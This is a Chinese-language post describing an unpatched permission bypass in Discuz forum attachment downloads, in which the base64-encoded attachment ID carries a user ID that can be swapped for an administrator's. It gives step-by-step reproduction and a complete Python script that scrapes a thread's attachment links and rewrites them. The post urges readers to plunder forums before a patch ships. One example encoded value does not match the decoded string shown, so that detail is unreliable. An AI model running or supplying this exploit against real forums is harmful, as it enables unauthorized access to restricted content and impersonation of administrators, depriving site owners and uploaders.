Discuz论坛附件下载权限绕过漏洞

近日,有网友在乌云上发布了一则Discuz论坛附件下载权限绕过漏洞,能够任意下载带有权限的附件并且无需扣除自身积分。目前Discuz正在处理中,但暂未放出漏洞补丁,有需要的朋友不妨趁漏洞修补之前到各论坛大肆搜刮一番。

漏洞重现步骤:

  • 找到任一带有权限附件,右键点击选择复制链接地址
  • 得到类似下列网址,将aid=其后部分复制 http://***/forum.php?mod=attachment&aid=NTkyNjg1fGZmMDQ2ZjMyfDE2ODIxNjEyMzN8MHwzMDM1Nzk=
  • 该部分网址为base64加密后密文,使用任意工具进行解密,得到如下原文 592685|ff046f32|1682161233|0|303579
  • 其中第四段(0)为当前用户UID,Discuz通过此数值判断请求下载的用户并进行权限审核。将其改为1或者2(一般为论坛管理员或创始人),点击base64加密,舍弃等号后得到MjMyNjM5NnwzMjM4OTQ5OXwxMzk0MTgwMDAwfDF8MTY2NDkyMg
  • 将此段内容替换原网址aid=后的内容,确认访问浏览器直接弹出了下载框。

Python实现


# -*- coding: utf-8 -*-
import base64
import webbrowser
import requests
import sys
from urllib.parse import urlparse
from urllib import parse
from bs4 import BeautifulSoup


class Dzdown(object):
    def __init__(self, url, uid=1):
        """利用dz论坛漏洞免费下载论坛附件

        Args:
            url (str): 带http的完整url
            uid (int, optional): 待替换的管理员uid. 默认uid=1.
        """
        # 替换的uid
        self._uid = uid
        # 附件下载地址
        self._downurl = []
        # 解析后的论坛详情页地址
        self._host = urlparse(url)
        self.get_download_url(url)

    def get_download_url(self, url: str) -> None:
        """由dz论坛详情页获取dz论坛详情页附件下载地址

        Args:
            url (str): 完整的url参数
        """
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
        }
        res = requests.get(url, headers=headers)
        soup = BeautifulSoup(res.text, features="html.parser")
        try:
            html1 = soup.find_all("p", {"class": "attnm"})
            if len(html1) > 0:
                for i in range(len(html1)):
                    self._downurl.append(html1[i].find_all("a")[0].get("href"))
        except:
            pass

    def parse_urls(self) -> list[str]:
        """批量解析当前页所有附件下载地址

        Returns:
            list[str]: 解析后的url列表
        """
        ret = []
        while len(self._downurl) > 0:
            ret.append(self.parse_url())
        return ret

    def parse_url(self) -> str:
        """解析论坛地址地址,并转化成破解下载路径
        forum.php?mod=attachment&aid=NTk1MTIxfGNiNTlkNDIxfDE2ODM1OTQ3NTR8MHwzMDQ1MjA%3D

        Returns:
            str: 解析后的url
        """
        if len(self._downurl) == 0:
            return ""
        host = urlparse(self._downurl.pop())
        # print(host)
        query_dict = parse.parse_qs(host.query)
        query_dict = {key: query_dict[key][0] for key in query_dict}
        query_dict["aid"] = self.change_url(query_dict["aid"]).decode()
        # print(query_dict)
        query_str = parse.urlencode(query_dict)
        return parse.urlunparse(
            [self._host.scheme, self._host.netloc, host.path, "", query_str, ""]
        )
        # return parse.urlunparse(host)

    def change_url(self, enbase64: str) -> str:
        """修改base64参数

        Args:
            enbase64 (str): 修改前的base64

        Returns:
            str: 修改后的base64
        """
        b64str = base64.b64decode(enbase64)
        b64arr = b64str.decode().split("|")
        b64arr[3] = str(self._uid)
        b64str = "|".join(b64arr)
        return base64.b64encode(b64str.encode())


if __name__ == "__main__":
    """
    discuz论坛漏洞, 无需论坛账号即可下载附件
    """
    if len(sys.argv) <= 1:
        print("参数错误, 正确格式:python dzdown.py http地址 用户uid参数")
        exit()
    uuid = 1
    if 2 in sys.argv:
        uuid = sys.argv[2]
    cls1 = Dzdown(sys.argv[1], uuid)
    down_url = cls1.parse_urls()
    print(down_url)
    # webbrowser.open(down_url)

此处评论已关闭